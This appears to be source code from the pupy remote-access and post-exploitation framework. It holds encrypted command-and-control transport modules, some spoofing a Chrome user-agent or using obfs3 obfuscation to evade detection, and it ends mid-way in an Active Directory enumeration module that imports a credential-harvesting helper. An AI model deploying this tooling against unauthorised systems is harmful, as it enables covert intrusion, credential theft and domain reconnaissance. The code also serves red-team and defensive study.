    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream\nfrom pupy.network.lib import ECMTransportClient, ECMTransportServer\n\nclass TransportConf(Transport):\n    info = \"ECPV + AES/GCM\"\n    name = \"ecm\"\n    server = PupyTCPServer\n    client = PupyTCPClient\n    stream = PupySocketStream\n    client_transport = ECMTransportClient\n    server_transport = ECMTransportServer\n\n    # Reuse EC4 creds\n    credentials = ['ECPV_RC4_PUBLIC_KEY', 'ECPV_RC4_PRIVATE_KEY']\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n        try:\n            import pupy_credentials\n            PUB_KEY = pupy_credentials.ECPV_RC4_PUBLIC_KEY\n            PRIV_KEY = pupy_credentials.ECPV_RC4_PRIVATE_KEY\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            PUB_KEY = credentials['ECPV_RC4_PUBLIC_KEY']\n            PRIV_KEY = credentials['ECPV_RC4_PRIVATE_KEY']\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = ECMTransportServer.custom(privkey=PRIV_KEY)\n            self.server_transport = ECMTransportClient.custom(pubkey=PUB_KEY)\n\n        else:\n            self.server_transport = ECMTransportServer.custom(privkey=PRIV_KEY)\n            self.client_transport = ECMTransportClient.custom(pubkey=PUB_KEY)\n"
  },
  {
    "path": "pupy/network/transports/http/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/http/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream\nfrom pupy.network.lib import PupyHTTPClient, RSA_AESClient\nfrom pupy.network.lib import PupyHTTPServer, RSA_AESServer\nfrom pupy.network.lib import chain_transports\n\nclass TransportConf(Transport):\n    info = \"TCP transport using HTTP with RSA+AES\"\n    name = \"http\"\n    server = PupyTCPServer\n    client = PupyTCPClient\n    stream = PupySocketStream\n    credentials = ['SIMPLE_RSA_PRIV_KEY', 'SIMPLE_RSA_PUB_KEY']\n    internal_proxy_impl = ['HTTP']\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n\n        self.client_transport_kwargs.update({\n            'host': None\n        })\n\n        try:\n            import pupy_credentials\n            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY\n            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']\n            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']\n\n        user_agent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) '\\\n          'Chrome/41.0.2228.0 Safari/537.36'\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = chain_transports(\n                    PupyHTTPClient.custom(keep_alive=True, user_agent=user_agent),\n                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),\n                )\n            self.server_transport = chain_transports(\n                    PupyHTTPServer.custom(verify_user_agent=user_agent),\n                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),\n                )\n\n        else:\n            self.client_transport = chain_transports(\n                    PupyHTTPClient.custom(keep_alive=True, user_agent=user_agent),\n                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),\n                )\n            self.server_transport = chain_transports(\n                    PupyHTTPServer.custom(verify_user_agent=user_agent),\n                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),\n                )\n"
  },
  {
    "path": "pupy/network/transports/kc4/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/kc4/conf.py",
    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyUDPServer, PupyUDPClient, PupyUDPSocketStream\nfrom pupy.network.lib import EC4TransportClient, EC4TransportServer\n\nclass TransportConf(Transport):\n    info = \"UDP(KCP) + ECPV + RC4\"\n    name = \"kc4\"\n    server = PupyUDPServer\n    client = PupyUDPClient\n    stream = PupyUDPSocketStream\n    client_transport = EC4TransportClient\n    server_transport = EC4TransportServer\n    credentials = ['ECPV_RC4_PUBLIC_KEY', 'ECPV_RC4_PRIVATE_KEY']\n    dgram = True\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n        try:\n            import pupy_credentials\n            PUB_KEY = pupy_credentials.ECPV_RC4_PUBLIC_KEY\n            PRIV_KEY = pupy_credentials.ECPV_RC4_PRIVATE_KEY\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            PUB_KEY = credentials['ECPV_RC4_PUBLIC_KEY']\n            PRIV_KEY = credentials['ECPV_RC4_PRIVATE_KEY']\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = EC4TransportServer.custom(privkey=PRIV_KEY)\n            self.server_transport = EC4TransportClient.custom(pubkey=PUB_KEY)\n\n        else:\n            self.server_transport = EC4TransportServer.custom(privkey=PRIV_KEY)\n            self.client_transport = EC4TransportClient.custom(pubkey=PUB_KEY)\n"
  },
  {
    "path": "pupy/network/transports/obfs3/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/obfs3/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream\nfrom pupy.network.lib import RSA_AESClient, RSA_AESServer\nfrom pupy.network.lib import chain_transports\nfrom pupy.network.lib.transports.obfs3.obfs3 import Obfs3Client, Obfs3Server\n\nclass TransportConf(Transport):\n    info = \"TCP transport using obfsproxy's obfs3 transport with a extra rsa+aes layer\"\n    name = \"obfs3\"\n    server = PupyTCPServer\n    client = PupyTCPClient\n    stream = PupySocketStream\n    credentials = ['SIMPLE_RSA_PUB_KEY', 'SIMPLE_RSA_PRIV_KEY']\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n\n        try:\n            import pupy_credentials\n            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY\n            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']\n            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = chain_transports(\n                    Obfs3Client,\n                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),\n                )\n            self.server_transport = chain_transports(\n                    Obfs3Server,\n                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),\n                )\n\n        else:\n            self.client_transport = chain_transports(\n                    Obfs3Client,\n                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),\n                )\n            self.server_transport = chain_transports(\n                    Obfs3Server,\n                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),\n                )\n"
  },
  {
    "path": "pupy/network/transports/rsa/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/rsa/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream\nfrom pupy.network.lib import RSA_AESClient, RSA_AESServer\n\nclass TransportConf(Transport):\n    info = \"TCP rsa transport\"\n    name = \"rsa\"\n    server = PupyTCPServer\n    client = PupyTCPClient\n    stream = PupySocketStream\n    credentials = ['SIMPLE_RSA_PUB_KEY', 'SIMPLE_RSA_PRIV_KEY']\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n        try:\n            import pupy_credentials\n            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY\n            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']\n            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)\n            self.server_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)\n\n        else:\n            self.client_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)\n            self.server_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)\n"
  },
  {
    "path": "pupy/network/transports/ssl/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/ssl/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of\n# the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport os\nimport tempfile\nimport ssl\n\nfrom pupy.network.lib import PupyTCPServer, PupySocketStream\nfrom pupy.network.lib import DummyPupyTransport, PupySSLClient\nfrom pupy.network.lib.rpc.utils.server import AuthenticationError\nfrom pupy.network.transports import Transport\n\n\nclass PupySSLAuthenticator(object):\n    def __init__(self, role, keystr, certstr, castr, client_cert_required=True):\n        self.keystr = keystr.strip()\n        self.certstr = certstr.strip()\n        self.castr = castr.strip()\n        self.ciphers = 'HIGH:!aNULL:!MD5:!RC4:!3DES:!DES:!AES128@STRENGTH'\n        self.client_cert_required = client_cert_required\n        self.cert_reqs = ssl.CERT_REQUIRED \\\n          if self.client_cert_required else ssl.CERT_OPTIONAL\n        self.ssl_version = ssl.PROTOCOL_SSLv23\n        self.ROLE = role\n\n    def __call__(self, sock):\n        wrapped_socket = None\n        tmp_cert_path = None\n        tmp_key_path = None\n        tmp_ca_path = None\n\n        fd_cert_path, tmp_cert_path = tempfile.mkstemp()\n        fd_key_path, tmp_key_path = tempfile.mkstemp()\n        fd_ca_path, tmp_ca_path = tempfile.mkstemp()\n\n        os.write(fd_cert_path, self.certstr)\n        os.close(fd_cert_path)\n        os.write(fd_key_path, self.keystr)\n        os.close(fd_key_path)\n        os.write(fd_ca_path, self.castr)\n        os.close(fd_ca_path)\n\n        try:\n            wrapped_socket = ssl.wrap_socket(\n                sock,\n                keyfile=tmp_key_path,\n                certfile=tmp_cert_path,\n                ca_certs=tmp_ca_path,\n                server_side=True,\n                cert_reqs=self.cert_reqs,\n                ssl_version=self.ssl_version,\n                ciphers=self.ciphers\n            )\n\n        finally:\n            os.unlink(tmp_cert_path)\n            os.unlink(tmp_key_path)\n            os.unlink(tmp_ca_path)\n\n        peer = wrapped_socket.getpeercert()\n        peer_role = ''\n\n        if self.client_cert_required:\n            for (item) in peer['subject']:\n                if item[0][0] == 'organizationalUnitName':\n                    peer_role = item[0][1]\n\n            if not (self.ROLE == 'CLIENT' and peer_role == 'CONTROL' or \\\n              self.ROLE == 'CONTROL' and peer_role == 'CLIENT'):\n                raise AuthenticationError('Invalid peer role: {}'.format(peer_role))\n\n        return wrapped_socket, peer\n\ndef ssl_authenticator():\n    keystr = b''\n    certstr = b''\n    client_cert_required = True\n\n    try:\n        import pupy_credentials\n        keystr = pupy_credentials.SSL_BIND_KEY\n        certstr = pupy_credentials.SSL_BIND_CERT\n        castr = pupy_credentials.SSL_CA_CERT\n        role = 'CLIENT'\n\n    except ImportError:\n        from pupy.pupylib.PupyConfig import PupyConfig\n        from pupy.pupylib.PupyCredentials import Credentials\n\n        config = PupyConfig()\n        credentials = Credentials()\n\n        client_cert_required = config.getboolean('ssl', 'client_cert_required')\n\n        keystr = credentials['SSL_BIND_KEY']\n        certstr = credentials['SSL_BIND_CERT']\n        castr = credentials['SSL_CA_CERT']\n\n        role = credentials.role\n\n    return PupySSLAuthenticator(\n        role, keystr, certstr, castr,\n        client_cert_required=client_cert_required\n    )\n\n\nclass TransportConf(Transport):\n    info = \"TCP transport wrapped with SSL\"\n    name = \"ssl\"\n    server = PupyTCPServer\n    client = PupySSLClient\n    stream=PupySocketStream\n    client_transport=DummyPupyTransport\n    server_transport=DummyPupyTransport\n    credentials = [\n        'SSL_CA_CERT',\n        'SSL_BIND_KEY', 'SSL_BIND_CERT',\n        'SSL_CLIENT_KEY', 'SSL_CLIENT_CERT'\n    ]\n\n    def authenticator(self):\n        return ssl_authenticator()\n"
  },
  {
    "path": "pupy/network/transports/ssl_rsa/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/ssl_rsa/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport os\nimport tempfile\nimport ssl\n\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyTCPServer, PupySSLClient, PupySocketStream\nfrom pupy.network.lib import RSA_AESClient, RSA_AESServer\n\n# This doesn't make any sence, but who cares?\n\nclass DummySSLAuthenticator(object):\n    def __init__(self, role, keystr, certstr, castr, server_side=False):\n        self.keystr = keystr.strip()\n        self.certstr = certstr.strip()\n        self.castr = castr.strip()\n        self.cert_reqs = ssl.CERT_NONE\n        self.ssl_version = ssl.PROTOCOL_SSLv23\n        self.ROLE = role\n        self.server_side=server_side\n\n    def __call__(self, sock):\n        wrapped_socket = None\n        tmp_cert_path = None\n        tmp_key_path = None\n        tmp_ca_path = None\n\n        fd_cert_path, tmp_cert_path = tempfile.mkstemp()\n        fd_key_path, tmp_key_path = tempfile.mkstemp()\n        fd_ca_path, tmp_ca_path = tempfile.mkstemp()\n\n        os.write(fd_cert_path, self.certstr)\n        os.close(fd_cert_path)\n        os.write(fd_key_path, self.keystr)\n        os.close(fd_key_path)\n        os.write(fd_ca_path, self.castr)\n        os.close(fd_ca_path)\n\n        try:\n            wrapped_socket = ssl.wrap_socket(\n                sock,\n                keyfile=tmp_key_path,\n                certfile=tmp_cert_path,\n                ca_certs=tmp_ca_path,\n                server_side=self.server_side,\n                cert_reqs=self.cert_reqs,\n                ssl_version=self.ssl_version\n            )\n\n        finally:\n            os.unlink(tmp_cert_path)\n            os.unlink(tmp_key_path)\n            os.unlink(tmp_ca_path)\n\n        peer = wrapped_socket.getpeercert()\n\n        return wrapped_socket, peer\n\n\ndef ssl_authenticator():\n    keystr = b''\n    certstr = b''\n    server_side = True\n\n    try:\n        import pupy_credentials\n        assert(pupy_credentials)\n        server_side = False\n\n    except ImportError:\n        from pupy.pupylib.PupyCredentials import Credentials\n\n        credentials = Credentials()\n\n        keystr = credentials['SSL_BIND_KEY']\n        certstr = credentials['SSL_BIND_CERT']\n        castr = credentials['SSL_CA_CERT']\n\n        role = credentials.role\n\n    return DummySSLAuthenticator(\n        role, keystr, certstr, castr, server_side\n    )\n\n\nclass TransportConf(Transport):\n    info = \"TCP transport wrapped with dummy SSL with an additional pupy's rsa layer\"\n    name = \"ssl_rsa\"\n\n    server = PupyTCPServer\n    client = PupySSLClient\n    stream = PupySocketStream\n\n    credentials = [\n        'SSL_CA_CERT',\n        'SSL_BIND_KEY', 'SSL_BIND_CERT',\n        'SSL_CLIENT_KEY', 'SSL_CLIENT_CERT',\n        'SIMPLE_RSA_PUB_KEY', 'SIMPLE_RSA_PRIV_KEY',\n    ]\n\n    def authenticator(self):\n        return ssl_authenticator()\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n        try:\n            import pupy_credentials\n            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY\n            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']\n            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)\n            self.server_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)\n        else:\n            self.client_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)\n            self.server_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)\n"
  },
  {
    "path": "pupy/network/transports/tcp_cleartext/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/tcp_cleartext/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream\nfrom pupy.network.lib import DummyPupyTransport\nfrom pupy.network.transports import Transport\n\nclass TransportConf(Transport):\n    info = \"Simple TCP transport transmitting in cleartext\"\n    name=\"tcp_cleartext\"\n    server=PupyTCPServer\n    client=PupyTCPClient\n    stream=PupySocketStream\n    client_transport=DummyPupyTransport\n    server_transport=DummyPupyTransport\n"
  },
  {
    "path": "pupy/network/transports/udp_cleartext/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/udp_cleartext/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.lib import PupyUDPServer, PupyUDPClient, PupyUDPSocketStream\nfrom pupy.network.lib import DummyPupyTransport\nfrom pupy.network.transports import Transport\n\nclass TransportConf(Transport):\n    info = \"Simple UDP transport transmitting in cleartext\"\n    name=\"udp_cleartext\"\n    server=PupyUDPServer\n    client=PupyUDPClient\n    stream=PupyUDPSocketStream\n    client_transport=DummyPupyTransport\n    server_transport=DummyPupyTransport\n    dgram=True\n"
  },
  {
    "path": "pupy/network/transports/udp_secure/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/udp_secure/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyUDPServer, PupyUDPClient, PupyUDPSocketStream\nfrom pupy.network.lib import RSA_AESClient, RSA_AESServer, DummyPupyTransport\n\nclass TransportConf(Transport):\n    info = \"Simple UDP transport transmitting with RSA\"\n    name=\"udp_secure\"\n    server=PupyUDPServer\n    client=PupyUDPClient\n    stream=PupyUDPSocketStream\n    client_transport=DummyPupyTransport\n    server_transport=DummyPupyTransport\n    dgram=True\n    credentials = ['SIMPLE_RSA_PRIV_KEY', 'SIMPLE_RSA_PUB_KEY']\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n\n        try:\n            import pupy_credentials\n            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY\n            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']\n            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)\n            self.server_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)\n\n        else:\n            self.client_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)\n            self.server_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)\n"
  },
  {
    "path": "pupy/network/transports/ws/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/ws/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream\nfrom pupy.network.lib import RSA_AESClient, RSA_AESServer, PupyWebSocketClient, PupyWebSocketServer\nfrom pupy.network.lib import chain_transports\n\nfrom hashlib import md5\n\nDEFAULT_USER_AGENT = \\\n  'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 ' \\\n  '(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'\n\nclass TransportConf(Transport):\n    info = \"TCP transport using Websocket with RSA+AES\"\n    name = \"ws\"\n    server = PupyTCPServer\n    client = PupyTCPClient\n    stream = PupySocketStream\n    credentials = ['SIMPLE_RSA_PRIV_KEY', 'SIMPLE_RSA_PUB_KEY', 'PATH_GEN_SECRET']\n    internal_proxy_impl = ['HTTP']\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n\n        try:\n            import pupy_credentials\n            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY\n            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY\n            PATH_GEN_SECRET = pupy_credentials.PATH_GEN_SECRET\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']\n            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']\n            PATH_GEN_SECRET = credentials['PATH_GEN_SECRET']\n\n        self.client_transport_kwargs.update({\n            'host': None,\n            'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b\"ws\").hexdigest()[:8]),\n            'user-agent': DEFAULT_USER_AGENT\n        })\n\n        self.server_transport_kwargs.update({\n            'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b\"ws\").hexdigest()[:8]),\n            'user-agent': DEFAULT_USER_AGENT\n        })\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = chain_transports(\n                    PupyWebSocketClient,\n                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),\n                )\n            self.server_transport = chain_transports(\n                    PupyWebSocketServer,\n                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),\n                )\n\n        else:\n            self.client_transport = chain_transports(\n                    PupyWebSocketClient,\n                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),\n                )\n            self.server_transport = chain_transports(\n                    PupyWebSocketServer,\n                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),\n                )\n"
  },
  {
    "path": "pupy/packages/all/ad.py",
    "content": "# -*- coding: utf-8 -*-\n\n# Stolen from ldapdomaindump\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom future.utils import raise_\nfrom ldap3 import (\n    Server, Connection, SIMPLE, ALL, BASE,\n    SASL, NTLM, ALL_ATTRIBUTES, GSSAPI, RESTARTABLE\n)\nfrom ldap3.core.exceptions import (\n    LDAPKeyError, LDAPAttributeError, LDAPInvalidDnError,\n    LDAPSocketOpenError, LDAPSocketReceiveError,\n    LDAPUnknownAuthenticationMethodError,\n    LDAPCommunicationError, LDAPMaximumRetriesError\n)\n\nfrom ldap3.utils.config import set_config_parameter\nfrom ldap3.utils.ciDict import CaseInsensitiveDict\nfrom ldap3.protocol.controls import build_control\nfrom ldap3.strategy.restartable import RestartableStrategy\n\nfrom pyasn1.type.namedtype import NamedTypes, NamedType\nfrom pyasn1.type.univ import Sequence, Integer\n\nfrom socket import (\n    getfqdn, socket, getaddrinfo, gaierror,\n    SOCK_DGRAM, SOCK_STREAM, AF_INET, AF_INET6\n)\n\nfrom socket import error as socket_error\nfrom sys import exc_info, version_info\nfrom os import environ\n\nfrom datetime import datetime\nfrom threading import Thread, Event\nfrom time import time, clock, mktime\nfrom inspect import isgenerator\nfrom hashlib import md5\n\nfrom gssapi import exceptions as gssexceptions\n\ntry:\n    from gssapi import GSSAPI_EXT_PASSWORD\nexcept ImportError:\n    GSSAPI_EXT_PASSWORD = False\n\nfrom netaddr import IPAddress\n\nfrom pupy.network.lib.dnsinfo import dnsinfo\nfrom pupy.network.lib.scan import scan\n\ntry:\n    import pupy.agent\n    from pupy.network.lib.netcreds import find_creds\n\n    logger = pupy.get_logger('ad')\nexcept ImportError:\n    import logging\n    logger = logging.getLogger()\n\n    def find_creds(*args, **kwargs):\n        return\n\ntry:\n    import dnslib\n    auto_discovery = True\nexcept ImportError:\n    auto_discovery = False\n\nif version_info.major > 2:\n    xrange = range\n    basestring = str\n\n\n# Monkey-patch _add_exception_to_history to save original exception,\n# not some derived shit\n\n_orig_add_exception_to_history = RestartableStrategy._add_exception_to_history\n\ndef _add_exception_to_history(self, exc):\n    # exc ignored here\n    exc_type, exc_value, exc_trace = exc_info()\n\n    # GSSAPI exceptions to be raised fast. Unlikely something will change\n    if issubclass(exc_type, gssexceptions.GSSError):\n        raise_(exc_type, exc_value, exc_trace)\n\n    if exc_type:\n        _orig_add_exception_to_history(self, exc_type(*exc_value))\n    else:\n        _orig_add_exception_to_history(self, exc)\n\nRestartableStrategy._add_exception_to_history = _add_exception_to_history\n\nset_config_parameter('RESTARTABLE_TRIES', 5)\n\nREALM_CACHE = {}\nDISCOVERY_CACHE = {}\n\nMINIMAL_COMPUTERATTRIBUTES = (\n    'cn', 'sAMAccountName', 'dNSHostName', 'operatingSystem',\n    'operatingSystemServicePack', 'operatingSystemVersion',\n    'lastLogon', 'userAccountControl', 'whenCreated', 'objectSid',\n    'description', 'objectClass'\n)\n\nMINIMAL_USERATTRIBUTES = (\n    'cn', 'name', 'sAMAccountName', 'memberOf',\n    'primaryGroupId', 'whenCreated', 'whenChanged',\n    'lastLogon', 'userAccountControl', 'pwdLastSet',\n    'objectSid', 'description', 'objectClass'\n)\n\nMINIMAL_GROUPATTRIBUTES = (\n    'cn', 'name', 'sAMAccountName', 'memberOf', 'description',\n    'whenCreated', 'whenChanged', 'objectSid', 'distinguishedName',\n    'objectClass'\n)\n\n\nclass SdFlags(Sequence):\n    componentType = NamedTypes(NamedType('Flags', Integer()))\n\n\ndef build_sd_control(sdflags=0x05):\n    sdcontrol = SdFlags()\n    sdcontrol.setComponentByName('Flags', sdflags)\n    return build_control('1.2.840.113556.1.4.801', True, sdcontrol)\n\n\nclass ADException(Exception):\n    type = 'generic'\n    default_message = 'unknown exception'\n    childs = []\n\n    __slots__ = ('message',)\n\n    def __init__(self, description=None, replace=False):\n        self.message = self.default_message\n        if description:\n            if replace:\n                self.message += ': ' + description\n            else:\n                self.message += ': ' + description\n\n        